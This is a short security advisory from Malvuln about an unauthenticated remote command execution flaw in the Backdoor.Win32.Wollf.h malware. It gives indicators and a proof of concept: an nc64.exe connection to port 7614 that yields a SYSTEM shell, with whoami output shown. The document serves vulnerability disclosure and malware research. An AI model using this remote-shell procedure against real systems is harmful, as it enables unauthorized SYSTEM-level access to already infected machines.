Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d0fd60516d53b2ad602c460351dbaa85.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Unauthenticated Remote Command Execution 
Description: The malware listens on TCP port 7614 installs a service named WRM. Third-party attackers who can reach the system can get a shell with SYSTEM integrity, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: d0fd60516d53b2ad602c460351dbaa85
Vuln ID: MVID-2021-0340
Dropped files: wrm.exe
Disclosure: 09/09/2021

Exploit/PoC:
nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>


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